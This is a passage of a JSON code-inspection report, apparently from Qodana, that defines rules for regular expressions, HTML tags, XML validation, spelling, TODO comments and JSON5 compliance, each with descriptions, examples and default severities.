braces.\\n\\n**Example:**\\n\\n\\n      \\\\-\\\\;[\\\\.]\\n\\nAfter the quick-fix is applied:\\n\\n\\n      -;[.]\\n\\n\\nThe **Ignore escaped closing brackets '}' and '\\\\]'** option specifies whether to report `\\\\}` and `\\\\]` outside of a character class\\nwhen they are allowed to be unescaped by the RegExp dialect.\\n\\nNew in 2017.3\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpRedundantEscape\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnresolvedReference\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference to a named pattern ('define') in RELAX-NG files that use XML syntax. Suggests creating the referenced 'define' element.\",\n                  \"markdown\": \"Reports an unresolved reference to a named pattern (`define`) in RELAX-NG files that use XML syntax. Suggests creating the referenced `define` element.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnresolvedReference\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RELAX NG\",\n                      \"index\": 43,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlMissingClosingTag\",\n                \"shortDescription\": {\n                  \"text\": \"Missing closing tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional. Example: '<html>\\n    <body>\\n      <p>Behold!\\n    </body>\\n  </html>' After the quick-fix is applied: '<html>\\n    <body>\\n      <p>Behold!</p>\\n    </body>\\n  </html>'\",\n                  \"markdown\": \"Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional.\\n\\n**Example:**\\n\\n\\n      <html>\\n        <body>\\n          <p>Behold!\\n        </body>\\n      </html>\\n\\nAfter the quick-fix is applied:\\n\\n\\n      <html>\\n        <body>\\n          <p>Behold!</p>\\n        </body>\\n      </html>\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlMissingClosingTag\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CustomRegExpInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Custom RegExp inspection\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Custom Regex Inspection\",\n                  \"markdown\": \"Custom Regex Inspection\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CustomRegExpInspection\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IncorrectFormatting\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect formatting\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports formatting issues that appear if your code doesn't follow your project's code style settings. This inspection is not compatible with languages that require third-party formatters for code formatting, for example, Go or C with CLangFormat enabled.\",\n                  \"markdown\": \"Reports formatting issues that appear if your code doesn't\\nfollow your project's code style settings.\\n\\n\\nThis inspection is not compatible with languages that require\\nthird-party formatters for code formatting, for example, Go or\\nC with CLangFormat enabled.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IncorrectFormatting\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlExtraClosingTag\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant closing tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant closing tags on empty elements, for example, 'img' or 'br'. Example: '<html>\\n    <body>\\n      <br></br>\\n    </body>\\n  </html>' After the quick-fix is applied: '<html>\\n    <body>\\n      <br>\\n    </body>\\n  </html>'\",\n                  \"markdown\": \"Reports redundant closing tags on empty elements, for example, `img` or `br`.\\n\\n**Example:**\\n\\n\\n      <html>\\n        <body>\\n          <br></br>\\n        </body>\\n      </html>\\n\\nAfter the quick-fix is applied:\\n\\n\\n      <html>\\n        <body>\\n          <br>\\n        </body>\\n      </html>\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlExtraClosingTag\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlUnknownAnchorTarget\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved fragment in a link\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved last part of an URL after the '#' sign.\",\n                  \"markdown\": \"Reports an unresolved last part of an URL after the `#` sign.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlUnknownAnchorTarget\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpUnexpectedAnchor\",\n                \"shortDescription\": {\n                  \"text\": \"Begin or end anchor in unexpected position\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports '^' or '\\\\A' anchors not at the beginning of the pattern and '$', '\\\\Z' or '\\\\z' anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the '^' and '$' anchors, most likely the literal character was meant and the escape forgotten. Example: '(Price $10)' New in 2018.1\",\n                  \"markdown\": \"Reports `^` or `\\\\A` anchors not at the beginning of the pattern and `$`, `\\\\Z` or `\\\\z` anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the `^` and `$` anchors, most likely the literal character was meant and the escape forgotten.\\n\\n**Example:**\\n\\n\\n      (Price $10)\\n\\n\\nNew in 2018.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpUnexpectedAnchor\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"SpellCheckingInspection\",\n                \"shortDescription\": {\n                  \"text\": \"Typo\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports typos and misspellings in your code, comments, and literals and fixes them with one click.\",\n                  \"markdown\": \"Reports typos and misspellings in your code, comments, and literals and fixes them with one click.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"SpellCheckingInspection\",\n                    \"ideaSeverity\": \"TYPO\",\n                    \"qodanaSeverity\": \"Low\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Proofreading\",\n                      \"index\": 52,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CheckXmlFileWithXercesValidator\",\n                \"shortDescription\": {\n                  \"text\": \"Failed external validation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator.\",\n                  \"markdown\": \"Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CheckXmlFileWithXercesValidator\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"HtmlUnknownTag\",\n                \"shortDescription\": {\n                  \"text\": \"Unknown tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unknown HTML tag. Suggests configuring tags that should not be reported.\",\n                  \"markdown\": \"Reports an unknown HTML tag. Suggests configuring tags that should not be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"HtmlUnknownTag\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpEscapedMetaCharacter\",\n                \"shortDescription\": {\n                  \"text\": \"Escaped meta character\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character '[', ']' and '^', because those would need additional escaping inside a character class. Example: '\\\\d+\\\\.\\\\d+' After the quick-fix is applied: '\\\\d+[.]\\\\d+' New in 2017.1\",\n                  \"markdown\": \"Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character `[`, `]` and `^`, because those would need additional escaping inside a character class.\\n\\n**Example:**\\n\\n\\n      \\\\d+\\\\.\\\\d+\\n\\nAfter the quick-fix is applied:\\n\\n\\n      \\\\d+[.]\\\\d+\\n\\nNew in 2017.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpEscapedMetaCharacter\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlHighlighting\",\n                \"shortDescription\": {\n                  \"text\": \"XML highlighting\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports XML validation problems in the results of a batch code inspection.\",\n                  \"markdown\": \"Reports XML validation problems in the results of a batch code inspection.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlHighlighting\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlDuplicatedId\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate 'id' attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a duplicate 'id' attribute in XML.\",\n                  \"markdown\": \"Reports a duplicate `id` attribute in XML.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlDuplicatedId\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpDuplicateCharacterInClass\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate character in character class\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex. Example: '[aabc]' After the quick-fix is applied: '[abc]'\",\n                  \"markdown\": \"Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex.\\n\\n**Example:**\\n\\n\\n      [aabc]\\n\\nAfter the quick-fix is applied:\\n\\n\\n      [abc]\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpDuplicateCharacterInClass\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlInvalidId\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved 'id' reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved 'id' reference in XML.\",\n                  \"markdown\": \"Reports an unresolved `id` reference in XML.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlInvalidId\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlUnboundNsPrefix\",\n                \"shortDescription\": {\n                  \"text\": \"Unbound namespace prefix\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unbound namespace prefix in XML.\",\n                  \"markdown\": \"Reports an unbound namespace prefix in XML.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlUnboundNsPrefix\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RequiredAttributes\",\n                \"shortDescription\": {\n                  \"text\": \"Missing required attribute\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported.\",\n                  \"markdown\": \"Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RequiredAttributes\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"HTML\",\n                      \"index\": 14,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ReassignedToPlainText\",\n                \"shortDescription\": {\n                  \"text\": \"Reassigned to plain text\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically. You can dismiss this warning by removing the file type association in Settings | Editor | File Types | Text.\",\n                  \"markdown\": \"Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically.\\n\\nYou can dismiss this warning by removing the file type association\\nin **Settings \\\\| Editor \\\\| File Types \\\\| Text**.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ReassignedToPlainText\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlUnusedNamespaceDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Unused schema declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unused namespace declaration or location hint in XML.\",\n                  \"markdown\": \"Reports an unused namespace declaration or location hint in XML.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlUnusedNamespaceDeclaration\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpRedundantClassElement\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant '\\\\d', '[:digit:]', or '\\\\D' class elements\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant '\\\\d' or '[:digit:]' that are used in one class with '\\\\w' or '[:word:]' ('\\\\D' with '\\\\W') and can be removed. Example: '[\\\\w\\\\d]' After the quick-fix is applied: '[\\\\w]' New in 2022.2\",\n                  \"markdown\": \"Reports redundant `\\\\d` or `[:digit:]` that are used in one class with `\\\\w` or `[:word:]` (`\\\\D` with `\\\\W`) and can be removed.\\n\\n**Example:**\\n\\n\\n      [\\\\w\\\\d]\\n\\nAfter the quick-fix is applied:\\n\\n\\n      [\\\\w]\\n\\nNew in 2022.2\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpRedundantClassElement\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpSimplifiable\",\n                \"shortDescription\": {\n                  \"text\": \"Regular expression can be simplified\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports regular expressions that can be simplified. Example: '[a] xx* [ah-hz]' After the quick-fix is applied: 'a x+ [ahz]' New in 2022.1\",\n                  \"markdown\": \"Reports regular expressions that can be simplified.\\n\\n**Example:**\\n\\n\\n      [a] xx* [ah-hz]\\n\\nAfter the quick-fix is applied:\\n\\n\\n      a x+ [ahz]\\n\\nNew in 2022.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpSimplifiable\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpEmptyAlternationBranch\",\n                \"shortDescription\": {\n                  \"text\": \"Empty branch in alternation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation. Example: '(alpha||bravo)' After the quick-fix is applied: '(alpha|bravo)' New in 2017.2\",\n                  \"markdown\": \"Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation.\\n\\n**Example:**\\n\\n\\n      (alpha||bravo)\\n\\nAfter the quick-fix is applied:\\n\\n\\n      (alpha|bravo)\\n\\nNew in 2017.2\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpEmptyAlternationBranch\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"Annotator\",\n                \"shortDescription\": {\n                  \"text\": \"Annotator\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection: Option \\\"Report syntax errors\\\": report parser-related issues. Option \\\"Report issues from language-specific annotators\\\": report issues found by annotators configured for the relevant language. See Custom Language Support: Annotators for details. Option \\\"Report other highlighting problems\\\": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See Custom Language Support: Highlighting for details.\",\n                  \"markdown\": \"Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection:\\n\\n* Option \\\"**Report syntax errors**\\\": report parser-related issues.\\n* Option \\\"**Report issues from language-specific annotators** \\\": report issues found by annotators configured for the relevant language. See [Custom Language Support: Annotators](https://plugins.jetbrains.com/docs/intellij/annotator.html) for details.\\n* Option \\\"**Report other highlighting problems** \\\": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See [Custom Language Support: Highlighting](https://plugins.jetbrains.com/docs/intellij/syntax-highlighting-and-error-highlighting.html#semantic-highlighting) for details.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"Annotator\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XmlPathReference\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved file reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved file reference in XML.\",\n                  \"markdown\": \"Reports an unresolved file reference in XML.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"XmlPathReference\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"XML\",\n                      \"index\": 33,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"RegExpUnnecessaryNonCapturingGroup\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary non-capturing group\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unnecessary non-capturing groups, which have no influence on the match result. Example: 'Everybody be cool, (?:this) is a robbery!' After the quick-fix is applied: 'Everybody be cool, this is a robbery!' New in 2021.1\",\n                  \"markdown\": \"Reports unnecessary non-capturing groups, which have no influence on the match result.\\n\\n**Example:**\\n\\n\\n      Everybody be cool, (?:this) is a robbery!\\n\\nAfter the quick-fix is applied:\\n\\n\\n      Everybody be cool, this is a robbery!\\n\\nNew in 2021.1\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RegExpUnnecessaryNonCapturingGroup\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"RegExp\",\n                      \"index\": 37,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TodoComment\",\n                \"shortDescription\": {\n                  \"text\": \"TODO comment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports TODO comments in your code. You can configure the format for TODO comments in Settings | Editor | TODO. Enable the Only warn on TODO comments without any details option to only warn on empty TODO comments, that don't provide any description on the task that should be done. Disable to report all TODO comments.\",\n                  \"markdown\": \"Reports **TODO** comments in your code.\\n\\nYou can configure the format for **TODO** comments in [Settings \\\\| Editor \\\\| TODO](settings://preferences.toDoOptions).\\n\\nEnable the **Only warn on TODO comments without any details** option to only warn on empty TODO comments, that\\ndon't provide any description on the task that should be done. Disable to report all TODO comments.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TodoComment\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"General\",\n                      \"index\": 19,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"Json5StandardCompliance\",\n                \"shortDescription\": {\n                  \"text\": \"Compliance with JSON5 standard\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports inconsistency with the language specification in a JSON5 file.\",\n                  \"markdown\": \"Reports inconsistency with [the language specification](http://json5.org) in a JSON5 file.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"Json5StandardCompliance\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JSON and JSON5\",\n                      \"index\": 8,\n                      \"toolComponent\": 